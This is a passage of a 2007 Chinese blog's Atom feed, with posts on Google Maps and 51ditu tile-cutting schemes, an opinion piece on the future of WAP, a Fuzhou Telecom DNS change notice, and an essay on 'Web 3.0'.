</PRE><PRE class=codeSample>&nbsp;</PRE><PRE class=codeSample>摘:http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx?mfr=true</PRE>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=407" /> 
	  <id>http://www.openx.cn/default.asp?id=407</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Google maps,51diitu切割方法]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-01-18T17:15:41+08:00</updated>
	  <published>2007-01-18T17:15:41+08:00</published>
		  <summary type="html"><![CDATA[<P>Google maps切割方法 <BR>
<P>1. &nbsp; &nbsp; &nbsp; &nbsp; 缩放等级与图幅数 <BR>
<P>Google maps的缩放等级是0-17共18个等级，比例尺与缩放等级是成反比的（比例尺越大地图越详细），其第17 等级只有一幅世界地图，某一等级下所含地图数的计算公式为2^(17-n)^2（n为缩放等级）。 <BR>
<P>2. &nbsp; &nbsp; &nbsp; &nbsp; 图幅生成与编号 <BR>
<P>可以假设Google maps在每一缩放等级下的地图上都建立了一个坐标系，坐标原点为（西经180度，北纬90度），正方向分别为向东向南，经度跨度为360度，纬度跨度为180度。一般情况下，为便于理解可以这么认为，若在缩放等级n的情况下，共需生成（2^(17-n)）^2副图片，其编号形如(x,y)（0&lt;=x&lt;=2^(17-n)-1,0&lt;=y&lt;=2^(17-n)-1）。 <BR>
<P>但由于制图区域的范围、形状和地理位置等的不同需要选择不同的投影方式，以减少投影成平面地图后的误差值。在世界地图中常用墨卡托投影绘制世界航线图、世界交通图与世界时区图；我国出版的世界地图多采用等差分纬线多圆锥投影，选用这个投影，对于表现中国形状以及与四邻的对比关系较好，但投影的边缘地区变形较大。根据不同的需要还有许多其它的投影方式，在此不再赘述，当然国家基本比例尺地形图的投影、分幅等，是由国家测绘主管部门研究制订，不容许任意改变的，另外编制小区域大比例尺地图，无论采用什么投影，变形都是很小的。 <BR>
<P>由于Google是面向全世界的，故其不同比例尺下并且相同比例尺下不同地区不同国家其投影方式都是不同的，我猜测为使整个世界范围内的地图达到相对的精确是以牺牲海洋两极 <BR>等人烟稀少地图的变形为代价的，当然这也只是针对小比例尺下的地图，随着比例尺的不断放大这种投影上的差距会越来越小。 <BR>
<P>3. &nbsp; &nbsp; &nbsp; &nbsp; 结论 <BR>
<P>每个切割的小图片是256*256（像素），常识来判断每个小图片代表的实际区域长宽之比应为2：1，但由于投影不同的存在，其实它是1：1 的，至于中间过程怎么处理的我也没搞明白。 <BR>关于51ditu <BR>
<P>1. &nbsp; &nbsp; &nbsp; &nbsp; 缩放等级 <BR>
<P>使用的比例级别总共有0-12级共13个级别，他们和实际的比例尺的对应关系分别是： <BR>
<P>0级 -------------------- 1:2,500 <BR>
<P>1级 -------------------- 1:5,000 <BR>
<P>2级 -------------------- 1:10,000 <BR>
<P>3级 -------------------- 1:25,000 <BR>
<P>4级 -------------------- 1:50,000 <BR>
<P>5级 -------------------- 1:100,000 <BR>
<P>6级 -------------------- 1:250,000 <BR>
<P>7级 -------------------- 1:500,000 <BR>
<P>8级 -------------------- 1:1,000,000 <BR>
<P>9级 -------------------- 1:2,500,000 <BR>
<P>10级 ------------------- 1:5,000,000 <BR>
<P>11级 ------------------- 1:10,000,000 <BR>
<P>12级 ------------------- 1:50,000,000 <BR>
<P>简单的说，0级地图最详细，12级地图最简单。 <BR>
<P>以上是其官方发布的数据。 <BR>
<P>2. &nbsp; &nbsp; &nbsp; &nbsp; 与Google的比较 <BR>
<P>51地图和Google maps都开放了API，有人结合两者的API 把它们集成到一块，发现两者的经纬度吻合的非常好，我想这也主要是在大比例尺地图下只要两者的切割方法相同就可以做到的，故为了以后能更好的兼容并向领先者学习&shy;我们也争取达到这种比较好的吻合效果。 <BR>
<P>但分析两者的切割图片发现Google的是256*256（像素），而51ditu是128*128（像素）。如下图（1）、图（2）两幅图（两幅图均没有包含到最南端的曾母暗沙）: 由于两者是采用的不同的投影方式，故地图在外形上有着比较大的差别，但应该注意的是每一小片上只是面积上的差别，通俗点来讲要有都有要没有都没有；由于两者每一&shy;幅图片是不等的，在实际中Google的每一图幅的面积应该是51ditu的4倍，但我们将两者放在同样大小的比例中发现两者吻合的比较好，由此也可推测随着比例的放大吻合程度将会更好，也就是说两者的切割方法是相同的，只不过导出图片的&shy;大小不同而已。 <BR>
<P>3. &nbsp; &nbsp; &nbsp; &nbsp; 坐标系统 <BR>
<P>同样可以假设51ditu在每一缩放等级下的地图上也都建立了一个坐标系，不同的是其坐标原点为（西经11.25度，北纬0度），正方向分别为向东向北，跨度范围基本上就是覆盖中国的国土面积，即经度跨度为【67.5，135】，纬度跨度为【0，56.25】，而中国领土北起漠河以北的黑龙江江心（北纬53°30′），南到南沙群岛南端的曾母暗沙（北纬4°），跨纬度49度多；东起黑龙江与乌苏里江汇合处（东经135°05′），西到帕米尔高原（东经73°40′），跨经度60多度。 <BR>
<P>[img]/attachments/Google.PNG[/img] 
<P>图（1） <BR>
<P>[img]/attachments/51ditu.PNG[/img]<BR>
<P>图（2） <BR>拟采用的方案 <BR>
<P>1. &nbsp; &nbsp; &nbsp; &nbsp; 方案简述 <BR>
<P>由于Google maps并没有提供大比例尺下的中国地图，故将其作为参照系不是一个很好的选择，为便于以后的比较，我们采用与51ditu相同的坐标系统，即编号方式。 <BR>
<P>如上图（2）所示，小图片12-1-7.png,是缩放等级12之下的一副图片，1是纬度方向上的序号，7是经度方向上的序号，从以上分析我们得知，缩放等级1&shy;2之下，整个地球的切图共是*张，在投影影响的基础上，每个图片的跨度为11.25*11.25度，图片12-1-7.png左下角点的经纬度为（67.5，11.25），很明显（67.5+11.25）/11.25=7，11.25/11.25=1。这样我们就得到了切割图片序号的计算公式，一般化如下： 
<P>在缩放等级为n之下，切割图片的边长（设为d）d=360度/2^(17-n)，若小图片左下角坐标为（x,y）,并设经度方向上的序号为bx, 纬度方向上的序号为by,可得到其表达式为bx=(x+11.25)/d;by=y/d.。 <BR>
<P>由于我们只是针对中国范围，故取经度跨度为【67.5，135】，纬度跨度为【0，56.25】，在切割时可以适当延展，延展单位以11.25为准。 <BR>
<P>2. &nbsp; &nbsp; &nbsp; &nbsp; 命名规则、存储方案 <BR>
<P>在最大比例尺即缩放等级为0之下，取经度跨度为【67.5，135】，纬度跨度为【0，56.25】，可以计算出共需切割的图片数量为2^17*（67.5 /360）*2^17*（56.25/360）=131072*（3/16）*131072*（5/32）=112,442,880.缩放等级n之下,所需图片数量的计算公式为2^(17-n)*（67.5/360）*2^(17-n)*（56.25/360）=15*2^(25-2n)(0&lt;=n&lt;=12) <BR>
<DIV>以下为各比例尺之下的对应关系 </DIV>
<P>
<TABLE cellSpacing=0 cellPadding=0 border=1>
<TBODY>
<TR>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2><STRONG>缩放级别</STRONG><STRONG></STRONG></FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2><STRONG>比例尺</STRONG></FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2><STRONG>图幅数</STRONG></FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2><STRONG>存储空间（4K/</STRONG><STRONG>幅）</STRONG></FONT></DIV></TD></TR>
<TR>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>0级</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>1:2,500</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>503,316,480</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>1920G</FONT></DIV></TD></TR>
<TR>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>1级</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>1:5,000</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>125,829,120</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>480G</FONT></DIV></TD></TR>
<TR>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>2级</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>1:10,000</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>31,457,180</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>120G</FONT></DIV></TD></TR>
<TR>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>3级</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>1:25,000</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>7,864,320</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>30G</FONT></DIV></TD></TR>
<TR>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>4级</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>1:50,000</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>1,966,080</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>7.5G</FONT></DIV></TD></TR>
<TR>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>5级</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>1:100,000</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>491,520</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>1.875G</FONT></DIV></TD></TR>
<TR>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>6级</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>1:250,000</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>122,880</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2></FONT></DIV></TD></TR>
<TR>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>7级</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>1:500,000</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>30,720</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2></FONT>&nbsp;</DIV></TD></TR>
<TR>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>8级</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>1:1,000,000</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>7,680</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2></FONT>&nbsp;</DIV></TD></TR>
<TR>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>9级</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>1:2,500,000</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>1,920</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2></FONT>&nbsp;</DIV></TD></TR>
<TR>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>10级</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>1:5,000,000</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>480</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2></FONT>&nbsp;</DIV></TD></TR>
<TR>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>11级</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>1:10,000,000</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>120</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2></FONT>&nbsp;</DIV></TD></TR>
<TR>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>12级</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>1:50,000,000</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2>30</FONT></DIV></TD>
<TD vAlign=top width="25%">
<DIV align=center><FONT size=2></FONT>&nbsp;</DIV></TD></TR></TBODY></TABLE>
<P class=MsoNormal style="MARGIN-LEFT: 21pt; TEXT-INDENT: 21pt"><SPAN style="FONT-FAMILY: 宋体">由以上分析可见在大比例尺下若全部生成</SPAN><SPAN lang=EN-US>,</SPAN><SPAN style="FONT-FAMILY: 宋体">其数量是很巨大的</SPAN><SPAN lang=EN-US>,</SPAN><SPAN style="FONT-FAMILY: 宋体">考虑到某些大比例尺地图只是在某些地区或特殊要求时是必须的</SPAN><SPAN lang=EN-US>,</SPAN><SPAN style="FONT-FAMILY: 宋体">我们没有必要全部生成</SPAN><SPAN lang=EN-US>,</SPAN><SPAN style="FONT-FAMILY: 宋体">只需生成规定经纬度范围内的某一缩放级别下的地图。但即使这样小缩放级别下的图幅数量仍然不小</SPAN><SPAN lang=EN-US>,</SPAN><SPAN style="FONT-FAMILY: 宋体">所以我们应该分区域在不同文件夹下存放。从级别</SPAN><SPAN lang=EN-US>n</SPAN><SPAN style="FONT-FAMILY: 宋体">到级别</SPAN><SPAN lang=EN-US>n+1,</SPAN><SPAN style="FONT-FAMILY: 宋体">图片数量后者是前者的</SPAN><SPAN lang=EN-US>4</SPAN><SPAN style="FONT-FAMILY: 宋体">倍</SPAN><SPAN lang=EN-US>,</SPAN><SPAN style="FONT-FAMILY: 宋体">即放大一个级别原级别一张图片裂变为四张</SPAN><SPAN lang=EN-US>,</SPAN><SPAN style="FONT-FAMILY: 宋体">这样我们可以借鉴四杈树的组织形式</SPAN><SPAN lang=EN-US>,</SPAN><SPAN style="FONT-FAMILY: 宋体">即若树的深度为</SPAN><SPAN lang=EN-US>N,</SPAN><SPAN style="FONT-FAMILY: 宋体">深度为</SPAN><SPAN lang=EN-US>N-1</SPAN><SPAN style="FONT-FAMILY: 宋体">的节点子节点均为</SPAN><SPAN lang=EN-US>30</SPAN><SPAN style="FONT-FAMILY: 宋体">个</SPAN><SPAN lang=EN-US>,</SPAN><SPAN style="FONT-FAMILY: 宋体">其余节点子节点为四个</SPAN><SPAN lang=EN-US>(</SPAN><SPAN style="FONT-FAMILY: 宋体">当深度为</SPAN><SPAN lang=EN-US>1</SPAN><SPAN style="FONT-FAMILY: 宋体">时</SPAN><SPAN lang=EN-US>,</SPAN><SPAN style="FONT-FAMILY: 宋体">根结点子节点为</SPAN><SPAN lang=EN-US>5*6=30</SPAN><SPAN style="FONT-FAMILY: 宋体">个</SPAN><SPAN lang=EN-US>),</SPAN><SPAN style="FONT-FAMILY: 宋体">树的深度与缩放级别的对应关系为</SPAN><SPAN lang=EN-US>N=13-n</SPAN><SPAN style="FONT-FAMILY: 宋体">。</SPAN></P>
<P class=MsoNormal style="MARGIN-LEFT: 21pt; TEXT-INDENT: 21pt"><SPAN style="FONT-FAMILY: 宋体">树的节点的命名即为对应文件夹的名称，根结点即以缩放级别命名，叶节点对应图片以形如“</SPAN><SPAN lang=EN-US>bx-by.png</SPAN><SPAN style="FONT-FAMILY: 宋体">”的形式命名，其它节点则是形如“</SPAN><SPAN lang=EN-US>0-0</SPAN><SPAN style="FONT-FAMILY: 宋体">”、“</SPAN><SPAN lang=EN-US>0-1</SPAN><SPAN style="FONT-FAMILY: 宋体">”、“</SPAN><SPAN lang=EN-US>1-0</SPAN><SPAN style="FONT-FAMILY: 宋体">”、“</SPAN><SPAN lang=EN-US>1-1</SPAN><SPAN style="FONT-FAMILY: 宋体">”的形式命名。</SPAN></P>
<P class=MsoNormal style="MARGIN-LEFT: 21pt; TEXT-INDENT: 21pt"><SPAN style="FONT-FAMILY: 宋体">这样一来生成图片的时候就有一个路径判断和生成的问题。在确定了经度跨度为【</SPAN><SPAN lang=EN-US>67.5</SPAN><SPAN style="FONT-FAMILY: 宋体">，</SPAN><SPAN lang=EN-US>135</SPAN><SPAN style="FONT-FAMILY: 宋体">】，纬度跨度为【</SPAN><SPAN lang=EN-US>0</SPAN><SPAN style="FONT-FAMILY: 宋体">，</SPAN><SPAN lang=EN-US>56.25</SPAN><SPAN style="FONT-FAMILY: 宋体">】，并且在最小比例尺（缩放等级为</SPAN><SPAN lang=EN-US>12</SPAN><SPAN style="FONT-FAMILY: 宋体">）之下我们已知图片是</SPAN><SPAN lang=EN-US>5*6</SPAN><SPAN style="FONT-FAMILY: 宋体">张，即经度方向为</SPAN><SPAN lang=EN-US>6</SPAN><SPAN style="FONT-FAMILY: 宋体">，纬度方向为</SPAN><SPAN lang=EN-US>5</SPAN><SPAN style="FONT-FAMILY: 宋体">，这两个值很重要直接影响到我们的命名，当然前提变了这个值也随着变了。我们制定规则如下：</SPAN></P>
<P class=MsoNormal style="MARGIN-LEFT: 21pt; TEXT-INDENT: 21pt"><SPAN style="FONT-FAMILY: 宋体">如前树的深度为</SPAN><SPAN lang=EN-US>N</SPAN><SPAN style="FONT-FAMILY: 宋体">，经度方向上的序号为</SPAN><SPAN lang=EN-US>bx,</SPAN><SPAN style="FONT-FAMILY: 宋体">纬度方向上的序号为</SPAN><SPAN lang=EN-US>by</SPAN><SPAN style="FONT-FAMILY: 宋体">。则当</SPAN><SPAN lang=EN-US>1&lt;N&lt;max(N)</SPAN><SPAN style="FONT-FAMILY: 宋体">时，经度方向上的节点值</SPAN><SPAN lang=EN-US>Lng</SPAN><SPAN style="FONT-FAMILY: 宋体">＝</SPAN><SPAN lang=EN-US>ToString(((bx-7*N)/6)%2), </SPAN><SPAN style="FONT-FAMILY: 宋体">纬度方向上的节点值</SPAN><SPAN lang=EN-US>Lat</SPAN><SPAN style="FONT-FAMILY: 宋体">＝</SPAN><SPAN lang=EN-US>ToString((by/5)%2),</SPAN><SPAN style="FONT-FAMILY: 宋体">则节点名称命名为</SPAN><SPAN lang=EN-US>Lng+”-”+Lat</SPAN><SPAN style="FONT-FAMILY: 宋体">。</SPAN><BR></P>
<P>&nbsp;</P>
<P>源自:http://tangf.cnblogs.com/</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=406" /> 
	  <id>http://www.openx.cn/default.asp?id=406</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[JOYES炒饭：“独立WAP消失论”不成立]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-01-15T18:09:02+08:00</updated>
	  <published>2007-01-15T18:09:02+08:00</published>
		  <summary type="html"><![CDATA[<DIV class=ce26>来源: 捉鱼JOYES 2007-1-8 作者:JOYES炒饭 责任编辑:微蓝</DIV>
<TABLE style="MARGIN: 10px 0px 20px" height=260 cellSpacing=0 cellPadding=0 width=556 border=0>
<TBODY>
<TR>
<TD class=f14 vAlign=top align=left height=200><SPAN style="FONT-SIZE: 14px">　　写这个话题是有点百无聊赖。和朋友讨论这个问题已经是N个月之前的事了。当时是由于传闻移动要封杀免费WAP站而聊到这上面的。3G越来越近，不少人觉得WAP几乎没有存在的必要了，3G手机功能强大，支持WEB将不再是少数人的特权。那么WAP会消失吗？<BR><BR>　　<B>我认为WAP是不会消失的，而且会很茁壮的成长</B>。<BR><BR>　　以下只是我个人的拙见，写出来供大家乐一乐。说到无线网络就不得不提一下目前中国的接入方式。大家最熟悉的CMWAP和CMNET两种。其实前者是很具有中国特色的接入方式，是移动专门为了能够在现有网络状况下能够浏览WAP站点而弄出来的这么一个独生子。价格低廉是符合中国国情的，于是中国的WAP站也就围绕此“子”而茁壮成长起来。<BR><BR>　　当传闻移动将封杀免费WAP站，关掉CMWAP接入方式的时候，好多人慌了。甚至可以说好多人开始制造恐慌了。这些所谓的行家们开始大肆宣扬毁灭论，当然作为新闻热点也是茶余饭后不错的话题。想想看，如果WAP接入方式被封，真的会对众多免费WAP站产生致命打击吗？<BR><BR>　　<B>关掉CMWAP对WAP影响微乎其微，甚至还有促进作用</B><BR><BR>　　首先从免费WAP站的发展来看，近两年免费WAP站如同雨后春笋，成长势头可以用“疯狂”来形容了。大大小小的免费WAP多入牛毛。从高端技术到自建站系统，任何一个人都可以几分钟轻松拥有自己的WAP站。如同当初的PC建站风靡一时一样，玩WAP开始成为关注IT的年轻人的新时尚。如此众多的WAP站，内容同质化严重，其中大部分还都只是个人的娱乐行为。更残酷的是免费WAP站靠什么而活？广告！没错，就是广告。SP的广告即使到现在仍然是免费WAP的主要收入来源。有些人甚至将建立WAP站赚钱等同于在TAOBAO上开店。从小站到大站，从每月几百元到每月几十万，都是广告收入。WAP联盟的产生也就是在这样的环境下迅成长起来的。有实力的SP可以自建联盟，没有实力的就靠人肉法去挨家挨户推广。<BR><BR>　　现在这个行业在洗牌，广告投放少了，免费WAP站自然也开始过的不自在了。其实广告投放减少对大WAP站的影响比对小WAP站更严重一些。小WAP站大都是个人站，有几个人真正指着这个去赚钱呢？没有收入了，租不起空间了，域名到期了，不做也就不做了，反正大家站内内容都差不多，甚至用的是一个联盟的东西，对于小站哪有什么用户粘性呢？骗得一分广告钱是赚，骗不到那也没什么大不了。<BR><BR>　　这么看来，即使CMWAP接入方式不被封，该洗牌的还是要洗牌，该淘汰的还是要淘汰。个人站就是个人站，拿到VC的活下来了，剩下的还是塌塌实实的回家抱老婆孩子去挣死工资好了。<BR><BR>　　<B>假设CMWAP接入方式被封，情况会如何</B><BR><BR>　　那么，排除了接入方式对免费WAP站的致命影响，我们再来假设如果真的没有了CMWAP接入方式，情况又会如何？<BR><BR>　　WAP和NET两种方式速度和价格我就不多介绍了。各位肯定都清楚的很。用户不使用后者的原因主要还是因为价格昂贵。那么如果运营商真的封杀了便宜货，免费WAP就真的没人看了吗？真的就要毁灭了吗？这些所谓的行家，所谓的恐慌制造者们好象忽略了一个很明显也很简单的问题。运营商不是3岁孩子，他再牛也不会冒着让中国无线网络倒退的风险而做这种损人不利己的事情。封杀WAP接入方式，那么运营商自然会相应的调整NET接入方式的价格，甚至是推出套餐等等。否则，真的让所有中国手机上网用户只去看梦网吗？恐怕他还不敢这么做。那么更快的接入方式，更便宜的价格对免费WAP来说只能是福音。是的，是福音。速度快了，大家可以做以前不能做的东西了，价格便宜了，更多的人可以用手机上网了。那么免费WAP站会朝向内容更加丰富，个性更加鲜明，竞争更加激烈的方向发展。同时，这样的WAP站也将更加向3G时代靠拢，更加具有新一代WAP站的特点。<BR><BR>　　<B>3G时代来临，WAP移动互联网不会消失</B><BR><BR>　　接入方式的恐慌排除了，那么3G时代的来临会让WAP这种移动互联网的协议消失吗？从WAP1.0一直到WAP2.0。WAP一直是那种简单的文字表现形式，WAP2.0显然还是不能满足用户的需求。它只是在这样的网络环境下诞生的妥协版本而已。3G的到来真的会让WAP一下跨越到WEB吗？<BR><BR>　　一个协议的诞生是有多方面因素的，从硬件到软件，从市场到技术。这是一个行业的标准，怎么可能是你说没有就没有的。随着无线网络的逐渐完善，WAP肯定会越来越向WEB的丰富表现形式靠近，甚至可以说完全相同。但是WAP协议是不可能消失的，即使是拥有了所有有线互联网的功能，WAP依然只能叫WAP。这种针对无线互联网量身定做而诞生的标准趋向的是内容更加丰富，标准更加完善，更加符合无线移动存储设备的高效快捷。移动存储设备要的就是方便携带，一些完全没必要体现的内容将会得到精简和省略，这也是WAP的宗旨。在丰富内容、高速网络和简约快捷中取得一个平衡才是WAP要考虑的问题。<BR><BR>　　写到此处不想再写下去了，再写下去就干脆把WAP2.0拿出来然后开个技术研讨会了。相信WAP的明天会很美好。作为正在从事WAP方面工作的我来说，如何更加制作出独特化、个性化的WAP站，如何让更多初涉无线网络的手机用户能够体会到WAP的魅力是我07年也是今后努力的方向。愿所有同行新年前程似锦，再创辉煌！<BR><BR><B>　　以上文章经业内资深人士“炒饭”授权独家发布，如需转载，请注明出处“捉鱼JOYES”及作者“JOYES炒饭”，并及时与微蓝取得联系，如非法转载，我们将保留追究违权方法律责任的权力。</B><BR></SPAN></TD></TR></TBODY></TABLE>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=405" /> 
	  <id>http://www.openx.cn/default.asp?id=405</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[福州电信互联网DNS升级通知]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-01-09T14:12:46+08:00</updated>
	  <published>2007-01-09T14:12:46+08:00</published>
		  <summary type="html"><![CDATA[<P>福州电信DNS升级咯,福州的朋友注意咯,记得晚上回家换DNS咯.</P>
<P>具体内容摘自:http://www.fj.ct10000.com/view/news/news_content.jsp?newsid=5175</P>
<P>=============================================================</P>
<P>发表时间：2007-01-08</P>
<P>
<P>尊敬的用户：</P>
<P>　　为了提升福州电信互联网服务品质，福州电信互联网DNS已经升级，现主用DNS：218.85.157.99;备用DNS：202.101.98.55。<BR>&nbsp; 　　2007年1月9日0：00，原备用DNS（202.101.98.54）将停闭。若您主用DNS为202.101.98.54的用户请修改DNS指向，具体配置方法如下：<BR>一、动态IP用户建议配置：</P>
<P><IMG src="http://www.fj.ct10000.com/view/news/AttchMap/3386/自动获取01.jpg"><BR>二、静态IP用户建议配置：</P>
<P><IMG src="http://www.fj.ct10000.com/view/news/AttchMap/3387/不自动获取01.jpg"></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=404" /> 
	  <id>http://www.openx.cn/default.asp?id=404</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[web3.0是一种思想的进步]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2007-01-08T09:26:24+08:00</updated>
	  <published>2007-01-08T09:26:24+08:00</published>
		  <summary type="html"><![CDATA[<P>当web3.0处于初期的时候，很多人对此发表不同的观点：</P>
<P>&nbsp;</P>
<P>　　纽约时报对此的解释是(转自博友木的，在这篇文章中有引用：Web3.0的“初步概念”)， “Referred to as Web 3.0, the effort is in its infancy, and the very idea has given rise to skeptics who have called it an unobtainable vision…”</P>
<P>&nbsp;</P>
<P>　　Mezi.Bulunbulei博士在其博客中这样写到：“web3.0，就是让个人和机构之间建立一种互为中心而转化的机制，也就是说个人在一定程度上可以转化为机构，机构在一定的环境下也可以像个人一样，拟人化的进行他们的商业行为，而进一步拉近和网民的距离……”</P>
<P>&nbsp;</P>
<P>　　有文章这么来描述web3.0，</P>
<P>&nbsp;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; “web3.0的最大价值在于，最重要的不是提供信息，而是提供基于不同需求的过滤器，每一种过滤器都是基于一个市场需求。”</P>
<P>&nbsp;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 基于此得出“web3.0会变成一种全员营销的模式，参与者与网站共同获利。”这样的结论。</P>
<P>&nbsp;</P>
<P>　　Qiantu.org认为，“其实很简单Web3.0将是语义网的天下，按照雨禅的说法应该还加上P2P，但P2P只是一种信息传播渠道而已，而语义网则是根本上改变信息的产生和组织的。”，“2.0已经是以用户为中心了，3.0似乎应该是以用户信息需求的最大满足为中心了。”，于是得出“ 新瓶装旧酒，但愿能让这酒卖的更好些。”</P>
<P>&nbsp;</P>
<P>　　土豆空间的博友认为，“web3.0跟web2.0一样，仍然不是技术的创新，而是思想的创新，进而指导技术的发展和应用。”</P>
<P>&nbsp;</P>
<P>　　也有网友这么来调侃web3.0的，说web3.0就是“吃喝买卖随己”。</P>
<P>&nbsp;</P>
<P>　　看来真是仁者见仁智者见智，对我个人而言，我首先认同土豆空间以及东村吉普赛在博客中所描述的观点，无论是web2.0也好，web3.0也好都是一种思想的创新，这也符合纽约时报所谓的web3.0是开拓视野的观点。方兴东在其博客中引用了Dion Hinchcliffe在其博客中用到的这样一个图片(如下所示)：</P>
<P align=center><IMG style="BORDER-LEFT-COLOR: #000000; BORDER-BOTTOM-COLOR: #000000; BORDER-TOP-COLOR: #000000; BORDER-RIGHT-COLOR: #000000" src="http://column.chinabyte.com/imagelist/06/49/ke01390912d6.jpg" border=1></P>
<P>　　在文中Dion Hinchcliffe说， “Web 2.0 Is Much More About A Change In People and Society Than Technology…But this is still just another aspect in the way that we, ourselves, have changed the way we use the Web. …“(web2.0相对于技术变化来说，在人与社会之间的变化显得更加多一些…web2.0使我们改变了我们自己使用互联网的方式…)。</P>
<P>&nbsp;</P>
<P>　　谈到Web3.0我的观点是，相对于技术而言，的的确确web3.0让我们再度开拓了视野，基于此，我在Dion Hinchcliffe关于”Web1.0 VS Web2.0“的图片的基础上，制作了我理解的Web3.0的图片：</P>
<P align=center><IMG style="BORDER-LEFT-COLOR: #000000; BORDER-BOTTOM-COLOR: #000000; BORDER-TOP-COLOR: #000000; BORDER-RIGHT-COLOR: #000000" src="http://column.chinabyte.com/imagelist/06/49/r5mm481idnv8.JPG" border=1></P>
